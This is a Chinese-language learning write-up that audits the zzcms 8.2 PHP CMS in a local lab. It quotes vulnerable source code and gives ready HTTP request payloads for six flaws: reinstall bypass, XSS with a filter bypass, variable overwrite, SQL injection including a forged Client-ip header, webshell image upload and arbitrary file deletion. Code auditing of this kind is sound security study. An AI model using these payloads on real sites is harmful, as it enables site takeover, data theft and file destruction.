0x01 前言

最近想学代码审计,所以嘛,·就从漏洞比较多的zzcms8.2下手了.由于对全文通读的审计方法不熟悉,所以这里借助Seay源代码审计系统进行辅助

0x02 代码审计实例:zzcms8.2

1.重装漏洞

看一下 install/index.php 文件,从文件中没有看出是否有检测 /install/install.lock 文件是否存在的代码.

  1. include '../inc/config.php';
  2. include 'conn.php';
  3. if($_POST) extract($_POST, EXTR_SKIP);//把数组中的键名直接注册为了变量。就像把$_POST[ai]直接注册为了$ai。
  4. if($_GET) extract($_GET, EXTR_SKIP);
  5. $submit = isset($_POST['submit']) ? true : false;
  6. $step = isset($_POST['step']) ? $_POST['step'] : 1;
  7. 手打省略号
  8. switch($step) {
  9. case '1'://协议
  10. include 'step_'.$step.'.php';
  11. break;
  12. case '2'://环境
  13. $pass = true;
  14. $PHP_VERSION = PHP_VERSION;
  15. 手打省略号
  16. break;
  17. case '3'://查目录属性
  18. include 'step_'.$step.'.php';
  19. break;
  20. case '4'://建数据库
  21. include 'step_'.$step.'.php';
  22. break;
  23. case '5'://安装进度

再来看下 install/step_1.php 文件,发现了在文件开头有检测/install/install.lock存不存在的代码,然而在另外的几个安装文件中,并没有发现检测/install/install.lock存不存在的代码.

<?php
if(file_exists("install.lock")){
echo "<div style='padding:30px;'>安装向导已运行安装过,如需重安装,请删除 /install/install.lock 文件</div>";
}else{
?>

所以我们跳过只需要跳过第一步的检测流程,就可以对网站进行重新安装.PayLoad如下

POST /zzcms8.2/install/index.php HTTP/1.1
Host: 192.168.0.110
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: PHPSESSID=igj7bd7vdha0t2kro5ju2iv8q0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 6

step=2

image.png

2.XSS

该漏洞出现在 3/ucenter_api/code/friend.php 文件中,利用方式可能有点鸡肋,该文件内容如下

<?php
/**
 * UCenter 应用程序开发 Example
 *
 * 列出好友的 Example 代码
 * 使用到的接口函数:
 * uc_friend_totalnum()    必须,返回好友总数
 * uc_friend_ls()    必须,返回好友列表
 * uc_friend_delete()    必须,删除好友
 * uc_friend_add()    必须,添加好友
 */

if(empty($_POST['submit'])) {
    $num = uc_friend_totalnum($Example_uid);
    echo '您有 '.$num.' 个好友';
    echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'?example=friend">';
    $friendlist = uc_friend_ls($Example_uid, 1, 999, $num);
    if($friendlist) {
        foreach($friendlist as $friend) {
            echo '<input type="checkbox" name="delete[]" value="'.$friend['friendid'].'">';
            switch($friend['direction']) {
                case 1: echo '[关注]';break;
                case 3: echo '[好友]';break;
            }
            echo $friend['username'].':'.$friend['comment'].'<br>';
        }
    }
    echo '添加好友:<input name="newfriend"> 说明:<input name="newcomment"><br>';
    echo '<input name="submit" type="submit"> ';
    echo '</form>';
} else {
    if(!empty($_POST['delete']) && is_array($_POST['delete'])) {
        uc_friend_delete($Example_uid, $_POST['delete']);
    }
    if($_POST['newfriend'] && $friendid = uc_get_user($_POST['newfriend'])) {
        uc_friend_add($Example_uid, $friendid[0], $_POST['newcomment']);
    }
    echo '好友资料已更新<br><a href="'.$_SERVER['PHP_SELF'].'?example=friend">继续</a>';
    exit;
}


?>

漏洞的触发位置在38行的 $_SERVER[‘PHP_SELF’] 前提是参数submit不为空且为Post,而 $_SERVER[‘PHP_SELF’] 的功能是取PHP文件对于网站跟目录的相对地址。我们可以利用下面的Payload来触发XSS

POST /zzcms8.2/3/ucenter_api/code/friend.php/"><script>alert(1);</script> HTTP/1.1
Host: 192.168.0.110
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: PHPSESSID=igj7bd7vdha0t2kro5ju2iv8q0; bdshare_firstime=1603020126898
Connection: close
PHP_SELF: 123
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

submit=1

admin/adclass.php 的146行,使用了 $_REQUEST[“bigclassid”] 来接收参数并回显到页面中

<?php
$dowhat=isset($_REQUEST['dowhat'])?$_REQUEST['dowhat']:'';
switch ($dowhat){
case "addbigclass";
checkadminisdo("advclass");
addbigclass();
break;
case "addsmallclass";
checkadminisdo("advclass");
addsmallclass();
break;
case "modifybigclass";
checkadminisdo("advclass");
modifybigclass();
break;
case "modifysmallclass";
checkadminisdo("advclass");
modifysmallclass();
break;
default;
showclass();
}
function showclass(){
$action=isset($_REQUEST['action'])?$_REQUEST['action']:'';
if ($action=="px") {
checkadminisdo("advclass");
$sql="Select * From zzcms_adclass where parentid='A'";
$rs=query($sql);
手动省略号
if ($action=="delsmall") {
checkadminisdo("advclass");
$smallclassid=trim($_GET["smallclassid"]);
checkid($smallclassid);
if ($smallclassid<>"") {
    query("delete from zzcms_adclass where classid='" . $smallclassid. "'");
}  
echo "<script>location.href='?#B".$_REQUEST["bigclassid"]."'</script>";
}

利用的前提是先执行函数 showclass() $action==”delsmall” ,我们只需要将参数 dowhat 设置为空,就能执行函数 showclass 了.然后在将 action 参数设置为 delsmall .最后将 bigclassid 设置为需要执行的JavaScript代码.但是由于admin.php包含了conn.php,conn.php包含了inc/stopsqlin.php。stopsqlin.php文件检测了一些比较常见的XSS关键字.

<?php
//主要针对在任何文件后加?%3Cscript%3E,即使文件中没有参数
if (strpos($_SERVER['REQUEST_URI'],'script')!==false || strpos($_SERVER['REQUEST_URI'],'%26%2399%26%')!==false|| strpos($_SERVER['REQUEST_URI'],'%2F%3Cobject')!==false){
die ("无效参数");//注意这里不能用js提示
}

可以利用 img标签来进行攻击,PayLoad如下:
http://192.168.0.110/admin/adclass.php?&action=delsmall&bigclassid=%3C%2fScript%3E%3Cimg%20src=x%20onerror=%22alert(1);%22%3E;%22%3E)
同样的漏洞这里不赘述了。

3.变量覆盖

该漏洞位于 inc/stopsqlin.php 文件中 ,相对来说比较鸡肋也没啥用,但是对于我这种刚学代码审计的来说还是有点学习作用的.

<?php
//主要针对在任何文件后加?%3Cscript%3E,即使文件中没有参数
if (strpos($_SERVER['REQUEST_URI'],'script')!==false || strpos($_SERVER['REQUEST_URI'],'%26%2399%26%')!==false|| strpos($_SERVER['REQUEST_URI'],'%2F%3Cobject')!==false){
die ("无效参数");//注意这里不能用js提示
}
function zc_check($string){
    if(!is_array($string)){
        if(get_magic_quotes_gpc()){
         return htmlspecialchars(trim($string));
        }else{
        return addslashes(htmlspecialchars(trim($string)));
        }
     }
    foreach($string as $k => $v) $string[$k] = zc_check($v);
    return $string;
}

if($_REQUEST){
    $_POST =zc_check($_POST);
    $_GET =zc_check($_GET);
    $_COOKIE =zc_check($_COOKIE);
    @extract($_POST);
    @extract($_GET);

该文件的第22,23行用了 extract 函数,且在 inc/conn.php 文件调用了 inc/stopsqlin.php 文件

<?php
error_reporting(0);
define('zzcmsroot', str_replace("\\", '/', substr(dirname(__FILE__), 0, -3)));//-3截除当前目录inc
ini_set("date.timezone","Asia/Chongqing");//设时区。php.ini里date.timezone选项,默认情况下是关闭的
include(zzcmsroot."/inc/config.php");
include(zzcmsroot."/inc/wjt.php");
include(zzcmsroot."/inc/function.php");
include(zzcmsroot."/inc/zsclass.php");//分类招商在里面
include(zzcmsroot."/inc/stopsqlin.php");
include(zzcmsroot."/inc/area.php");
if (opensite=='No') {
    if (@checkadminlogin<>1) {
    WriteErrMsg(showwordwhenclose);
    exit();
    }
}
$file=zzcmsroot."/install/install.lock";//是否存在安装标识文件
$installdir=zzcmsroot."install";
if (file_exists($file)==false && is_dir($installdir) ){//同时检测安装目录install,如果删除安装目录后,则不再提示
WriteErrMsg("未检测到安装标识文件,<a href='http://".$_SERVER['HTTP_HOST']."/install/index.php'>点击运行安装向导</a>");
exit();
}

$conn=mysqli_connect(sqlhost,sqluser,sqlpwd,sqldb,sqlport) or showmsg ("数据库链接失败");
mysqli_real_query($conn,"SET NAMES 'utf8'"); //必不可少,用来设置客户端送给MySQL服务器的数据的字符集
mysqli_select_db($conn,sqldb) or showmsg ("没有".sqldb."这个数据库,或是被管理员断开了链接,请稍后再试");

我们需要寻找一个变量,并且该变量在使用前没有被重新赋值. 在第20行的代码中,调用了 WriteErrMsg 。我们追进该函数.发现该函数的变量 $f_array_fun 在使用前并没有重新赋值.

<?php
define('zzcmsroot2', str_replace("\\", '/', substr(dirname(__FILE__), 0, -3)));//-3截除当前目录inc
$fpath=zzcmsroot2."inc/text/function.txt";
$fcontent=file_get_contents($fpath);
$f_array_fun=explode("\n",$fcontent) ;
function WriteErrMsg($ErrMsg){
global $f_array_fun;
    $strErr="<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>";//有些文件不能设文件头
    $strErr=$strErr."<html xmlns='http://www.w3.org/1999/xhtml' lang='zh-CN'>" ;
    $strErr=$strErr."<meta http-equiv='Content-Type' content='text/html; charset=utf-8'>";    
    $strErr=$strErr . "<div style='text-align:center;font-size:14px;line-height:25px;padding:10px'>" ;
    $strErr=$strErr . "<div style='border:solid 1px #dddddd;margin:0 auto;background-color:#FFFFFF'>";
    $strErr=$strErr . "<div style='background-color:#f1f1f1;border-bottom:solid 1px #ddd;font-weight:bold'>".$f_array_fun[0]."</div>";
    $strErr=$strErr . "<div style='padding:20px;text-align:left'>" .$ErrMsg."</div>";
    $strErr=$strErr . "<div style='background-color:#f1f1f1'><a href='javascript:history.go(-1)'>".$f_array_fun[1]."</a> <a href=# onClick='window.opener=null;window.close()'>".$f_array_fun[2]."</a></div>";
    $strErr=$strErr . "</div>"; 
    $strErr=$strErr . "</div>" ;
    $strErr=$strErr . "</html>" ;
    echo $strErr;
}
    //显示

最后,我们来看看如何利用变量覆盖进行攻击。Payload如下

GET /inc/conn.php?f_array_fun[0]=123123 HTTP/1.1
Host: 192.168.0.110
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: PHPSESSID=igj7bd7vdha0t2kro5ju2iv8q0; bdshare_firstime=1603020126898
Connection: close

怎么说呢.虽然该漏洞没啥利用价值,但是还是有学习的意义的.

4.SQL注入

该漏洞位于 admin/ad_px.php,需要登录后才能进行注入。

<?php
include ("admin.php");
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title></title>
<link href="style.css" rel="stylesheet" type="text/css">
<script language="JavaScript" src="/js/gg.js"></script>
</head>
<body>
<?php
$b=isset($_REQUEST["b"])?$_REQUEST["b"]:'';
$s=isset($_REQUEST["s"])?$_REQUEST["s"]:'';
手打省略号
echo "<br>";

$sql="select * from zzcms_adclass where parentid='".$b."' order by xuhao";
$rs = query($sql); 
$row = num_rows($rs);

直接将参数b拼接到了SQL语句中,虽然该文件也包含了 inc/stopsqlin.php 的代码。但是过滤的参数并没有过滤$_REQUEST,导致了过滤代码的失效.
下面是测试payload

GET /admin/ad_px.php?b=1' union select 1,user(),3,4--+ HTTP/1.1
Host: 192.168.0.110
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: PHPSESSID=igj7bd7vdha0t2kro5ju2iv8q0; bdshare_firstime=1603020126898
Connection: close

我们再找一个不需要管理员权限的SQL注入.该漏洞位于 user/check.php 文件,这个文件一共有五处SQL操作。但是 inc/stopsqlin.php 对来自 Cookie,Get,Post 的参数进行过滤。所以我们需要找不是来自于这三处的变量.

<?php
$usersf='';
$userid='';
if (!isset($_COOKIE["UserName"]) || !isset($_COOKIE["PassWord"])){
echo "<script>location.href='/user/login.php';</script>";
}else{
$username=nostr($_COOKIE["UserName"]);
    $rs=query("select id,usersf,lastlogintime from zzcms_user where lockuser=0 and username='".$username."' and password='".$_COOKIE["PassWord"]."'");
    $row=num_rows($rs);
        if (!$row){
        //if ($_COOKIE["UserName"]!=$_SESSION["UserName"] || $_COOKIE["PassWord"]!=$_SESSION["PassWord"]){//当记登录状态时,只有COOKIE,没有SESSION
        echo "<script>location.href='/user/login.php';</script>";
        }else{
            echo getip();
        $row=fetch_array($rs);
        $usersf=$row['usersf'];//left.php中用
        $userid=$row['id'];//top中用
        $lastlogintime=$row['lastlogintime'];
        $password=$_COOKIE["PassWord"];
        query("UPDATE zzcms_user SET loginip = '".getip()."' WHERE username='".$username."'");//更新最后登录IP
        if (strtotime(date("Y-m-d H:i:s"))-strtotime($lastlogintime)>3600*24){
        query("UPDATE zzcms_user SET totleRMB = totleRMB+".jf_login." WHERE username='".$username."'");//登录时加积分
        query("insert into zzcms_pay (username,dowhat,RMB,mark,sendtime) values('".$username."','每天登录用户中心送积分','+".jf_login."','','".date('Y-m-d H:i:s')."')");
        }
        query("UPDATE zzcms_user SET lastlogintime = '".date('Y-m-d H:i:s')."' WHERE username='".$username."'");//更新最后登录时间
        }
}
?>

从代码中得知函数 getip 返回的IP可以进行伪造,而且没有进行任何过滤。所以说,只要文件引用了 check.php ,我们就都可以进行注入

<?php
// 手打省略号
function getip(){ 
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) 
$ip = getenv("HTTP_CLIENT_IP"); 
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) 
$ip = getenv("HTTP_X_FORWARDED_FOR"); 
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) 
$ip = getenv("REMOTE_ADDR"); 
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) 
$ip = $_SERVER['REMOTE_ADDR']; 
else 
$ip = "unknown"; 
return($ip); 
}

需要 HTTP_CLIENT_IP 的值,而 HTTP_CLIENT_IP 的值来自于HTTP头的 Client-ip。PayLoad如下

GET /user/daohang_company.php HTTP/1.1
Host: 192.168.0.110
Client-ip: 1' and sleep(5)#
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: PHPSESSID=igj7bd7vdha0t2kro5ju2iv8q0; bdshare_firstime=1603020126898; UserName=admin; PassWord=21232f297a57a5a743894a0e4a801fc3
Connection: close

5.任意文件上传

这个漏洞说存在也存在,说不存在也不存在。我用的是Nginx,可能版本比较低,所以该漏洞存在。
该漏洞存在于 uploadimg.php 文件中,我们只需要上传图片马,然后用nginx的解析漏洞即可

<?php
if(!isset($_SESSION)){session_start();} 
set_time_limit(1800) ;
include("inc/config.php");
if (!isset($_COOKIE["UserName"]) && !isset($_SESSION["admin"])){
session_write_close();
echo "<script>alert('登录后才能上传');window.close();</script>";
}
//上传图片的类--------------------------------------------------------------
class upload{
//上传文件类型列表
private $uptypes = array ('image/jpg','image/jpeg','image/pjpeg','image/gif','image/png','image/x-png','image/bmp','application/x-shockwave-flash');
//只要不设定这种类型,php类的文件就无法上传'application/octet-stream'
private $max_file_size = maximgsize; //上传文件大小限制, 单位k
public $fileName; //文件名称
public $fdir ;//上传文件路径
private $watermark = shuiyin; //是否附加水印(yes为加水印,其他为不加水印);
private $waterstring = ''; //水印字符串
private $waterimg=syurl ; //水印图片 png
private $watertype = 2; //水印类型(1为文字,2为图片)
private $imgpreview=1; //是否生成缩略图(1为生成,其他为不生成);
private $sw=120; //缩略图宽度
public $bImg; //大图的全路径
public $sImg; //小图的全路径
public $datu; //大图的命名
function upfile() {
//是否存在文件
if (!is_uploaded_file(@$this->fileName[tmp_name])){
   echo "<script>alert('请点击“浏览”,先选择您要上传的文件!\\n\\n支持的图片类型为:jpg,gif,png,bmp');parent.window.close();</script>"; exit;
}
//检查文件大小
if ($this->max_file_size*1024 < $this->fileName["size"]){
   echo "<script>alert('文件大小超过了限制!最大只能上传 ".$this->max_file_size." K的文件');parent.window.close();</script>";exit;
}
//检查文件类型//这种通过在文件头加GIF89A,可骗过
if (!in_array($this->fileName["type"], $this->uptypes)) {
   echo "<script>alert('文件类型错误,支持的图片类型为:jpg,gif,png,bmp');parent.window.close();</script>";exit;
}
//检查文件后缀
$hzm=strtolower(substr($this->fileName["name"],strpos($this->fileName["name"],".")));//获取.后面的后缀,如可获取到.php.gif
if (strpos($hzm,"php")!==false || strpos($hzm,"asp")!==false ||strpos($hzm,"jsp")!==false){
echo "<script>alert('".$hzm.",这种文件不允许上传');parent.window.close();</script>";exit;
}
//创建文件目录
if (!file_exists($this->fdir)) {mkdir($this->fdir,0777,true);}
//上传文件
$tempName = $this->fileName["tmp_name"];
$fType = pathinfo($this->fileName["name"]);
$fType = $fType["extension"];

$newName =$this->fdir.$this->datu;
$sImgName =$this->fdir.str_replace('.','_small.',$this->datu); 
//echo $newName;
if (!move_uploaded_file($tempName, $newName)) {
   echo "<script>alert('移动文件出错');parent.window.close();</script>"; exit;
}else{
//检查图片属性,不是这几种类型的就不是图片文件,只能上传后才能获取到,代码放到上传前获取不到图片属性,所以放在这里
$data=GetImageSize($newName);//取得GIF、JPEG、PNG或SWF图片属性,返回数组,图形的宽度[0],图形的高度[1],文件类型[2]
if($data[2]!=1 && $data[2]!=2 && $data[2]!=3 && $data[2]!=6){//4为swf格式
unlink($newName);
echo "<script>alert('经判断上传的文件不是图片文件,已删除。');parent.window.close();</script>";exit;
} 
//是否生成缩略图
$data=GetImageSize($newName);//取得GIF、JPEG、PNG或SWF图片属性,返回数组,图形的宽度[0],图形的高度[1],文件类型[2]
if($this->imgpreview == 1 && $data[2]!=4){//文件类型不为4,4为swf格式
    switch ($data[2]) {
     case 1 :$sImg = imagecreatefromgif($newName);break;
     case 2 :$sImg = imagecreatefromjpeg($newName);break;
     case 3 :$sImg = imagecreatefrompng($newName);break;
     case 6 :$sImg = imagecreatefromwbmp($newName);break;
     default :echo "<script>alert('不支持的文件类型,无法生成缩略图');parent.window.close();</script>";exit;
    }
//生成小图
if ($data[1]>$data[0]){
$newwidth=$this->sw *($data[0]/$data[1]) ;
$newheight= $this->sw;
}else{
$newwidth=$this->sw;
$newheight=$this->sw*($data[1]/$data[0]) ;
}  
$sImgDate = imagecreatetruecolor($newwidth,$newheight);   
imagecopyresampled($sImgDate,$sImg, 0, 0, 0, 0, $newwidth, $newheight, $data[0],$data[1]);
    switch ($data[2]) {
     case 1 :imagegif($sImgDate, $sImgName);break;
     case 2 :imagejpeg($sImgDate, $sImgName);break;
     case 3 :imagepng($sImgDate, $sImgName);break;
     case 6 :imagewbmp($sImgDate, $sImgName);break;
    }
    imagedestroy($sImgDate);
       imagedestroy($sImg);
    $this->sImg=$sImgName;
}
//是否增加水印
$imginfo = GetImageSize($newName);
if ($this->watermark == 'Yes' && @$_REQUEST["noshuiyin"]!=1 && $imginfo[0]>200 && $imginfo[2]!=3 && $imginfo[2]!=4 && $imginfo[2]!=6) {
   //如上传广告页不能加水印,很小的不加水印,3.png无法加,4.swf不能加,6.bmp无法加
    $nimage = imagecreatetruecolor($imginfo[0], $imginfo[1]);
    $white = imagecolorallocate($nimage, 255, 255, 255);
    $black = imagecolorallocate($nimage, 0, 0, 0);
    $red = imagecolorallocate($nimage, 255, 0, 0);
    imagefill($nimage, 0, 0, $white);
    switch ($imginfo[2]) {
     case 1 :$simage = imagecreatefromgif($newName);break;
     case 2 :$simage = imagecreatefromjpeg($newName);break;
     case 3 :$simage = imagecreatefrompng($newName);break;
     case 6 :$simage = imagecreatefromwbmp($newName);break;
     default :echo "<script>alert('不支持的文件类型,无法加水印');window.close();</script>";exit;
    }
    imagecopy($nimage, $simage, 0, 0, 0, 0, $imginfo[0], $imginfo[1]);
    switch ($this->watertype) {
    case 1 : //加水印字符串
    imagefilledrectangle($nimage, 1, $imginfo[1] - 15, 80, $imginfo[1], $white);
    imagestring($nimage, 2, 3, $imginfo[1] - 15, $this->waterstring, $black);
    break;
    case 2 : //加水印图片
    if (file_exists($this->waterimg)==false){
    echo "<script>alert('水印图片不存在,请联系管理员先设水印图片或关闭水印功能');parent.window.close();</script>";
    exit;
    }
      $simage1 = imagecreatefrompng($this->waterimg);//这里决定水印图片为PNG图片
      $waterImg = getimagesize($this->waterimg);
      //imagecopy($nimage, $simage1, $data[0]-150, $data[1]-50, 0, 0, $waterImg[0], $waterImg[1]);
        if (addimgXY=="right"){
        imagecopy($nimage, $simage1, $data[0]-200, $data[1]-40, 0, 0, $waterImg[0], $waterImg[1]);
        }elseif (addimgXY=="center"){
        imagecopy($nimage, $simage1, $data[0]/2-50, $data[1]/2-20, 0, 0, $waterImg[0], $waterImg[1]); 
        }elseif (addimgXY=="left"){
        imagecopy($nimage, $simage1, 10, 10, 0, 0, $waterImg[0], $waterImg[1]); 
        }
      imagedestroy($simage1);
      break;
   }
    switch ($imginfo[2]) {
     case 1 :imagegif($nimage, $newName,98);break; //98 为打印水印后图片的质量
     case 2 :imagejpeg($nimage, $newName,98);break;
     case 3 :imagepng($nimage, $newName,98);break;
     case 6 :imagewbmp($nimage, $newName,98);break;  
    }
    //覆盖原上传文件
    imagedestroy($nimage);
    imagedestroy($simage);
   }
   $this->bImg=$newName;
}
}
}
//------------------------------------------------------------上传图片类结束--------------
$filename = array();   
for ($i = 0; $i < count($_FILES['g_fu_image']['name']); $i++){
$filename[$i]['name']=$_FILES['g_fu_image']['name'][$i];
$filename[$i]['type']=$_FILES['g_fu_image']['type'][$i];
$filename[$i]['tmp_name']=$_FILES['g_fu_image']['tmp_name'][$i];
$filename[$i]['error']=$_FILES['g_fu_image']['error'][$i];
$filename[$i]['size']=$_FILES['g_fu_image']['size'][$i];
}
for ($i = 0; $i < count($filename); $i++){  
$filetype=strtolower(strrchr($filename[$i]['name'],"."));//图片的类型,统一转为小写
$up = new upload();
$up->fileName = $filename[$i];
$up->fdir='uploadfiles/'.date("Y-m").'/';   //上传的路径
$up->datu=date("YmdHis").rand(100,999).$filetype;//大图的命名
$up->upfile();     //上传
$bigimg=$up->fdir.$up->datu;   //返回的大图文件名
    $js="<script language=javascript>";
    if (@$_REQUEST['imgid']==2){//同一页面中有两处上传的
    $js=$js."parent.window.opener.valueFormOpenwindow2('/" . $bigimg ."');";//读取父页面中的JS函数传回值
    }else{
    $js=$js."parent.window.opener.valueFormOpenwindow('/" . $bigimg ."');";//读取父页面中的JS函数传回值
    }
    $js=$js."parent.window.close();";
    $js=$js."</script>";
echo $js;    
} 
?>

利用的PayLoad如下

POST /uploadimg.php HTTP/1.1
Host: 192.168.0.110
Client-ip: 1' and sleep(5)#
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: PHPSESSID=igj7bd7vdha0t2kro5ju2iv8q0; bdshare_firstime=1603020126898; UserName=admin; PassWord=21232f297a57a5a743894a0e4a801fc3
Connection: close
Content-Type: multipart/form-data; boundary=--------540287564
Content-Length: 173

----------540287564
Content-Disposition: form-data; name="g_fu_image[]"; filename="123.jpg"
Content-Type: image/jpeg

GIF89A
<?php phpinfo();?>
----------540287564--

当然了,如果用的是apache,也可以用phtml来绕过,黑名单中并没有 phtml 。

6.任意文件删除

该漏洞位于 admin/ad_user_modify.php ,由于调用了 inc/stopsqlin.php 文件,所以此文件也一样有了变量覆盖的问题。

<?php include("admin.php"); ?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title></title>
<link href="style.css" rel="stylesheet" type="text/css">
<script language = "JavaScript" src="/js/gg.js"></script>
</head>
<body>
<?php
checkadminisdo("advtext");
$action = isset($_POST['action'])?$_POST['action']:'';
$page = isset($_GET['page'])?$_GET['page']:1;
checkid($page);
$id = isset($_GET['id'])?$_GET['id']:0;
checkid($id,1);

if ($action=="modify"){
query("update zzcms_textadv set adv='$adv',advlink='$advlink',img='$img',passed=1 where id='$id'");
$rs=query("select * from zzcms_textadv where id='$id'");
$row=fetch_array($rs);
$advusername=$row["username"];
query("update zzcms_ad set title='$adv',link='$advlink',img='$img' where username='".$advusername."'");//如果抢占了广告位了,同时更改
    if ($oldimg<>$img && $oldimg<>"/image/nopic.gif" ){
    $f="../".$oldimg;
    echo $f;
        if (file_exists($f)){
        unlink($f);        
        }
    }
    echo "<script>alert('修改成功');window.location.href='ad_user_manage.php?page=".$page."'</script>";
}
?>

在上面的代码中,参数 $oldimg 由于没有事先进行赋值,所以我们可以传参数 $oldimg 为任意文件名。Payload如下

POST /admin/ad_user_modify.php HTTP/1.1
Host: 192.168.0.110
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: bdshare_firstime=1603020126898; UserName=admin; PassWord=21232f297a57a5a743894a0e4a801fc3; PHPSESSID=55n2of2u104h4k842gv81j4o96
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 26

action=modify&oldimg=1.txt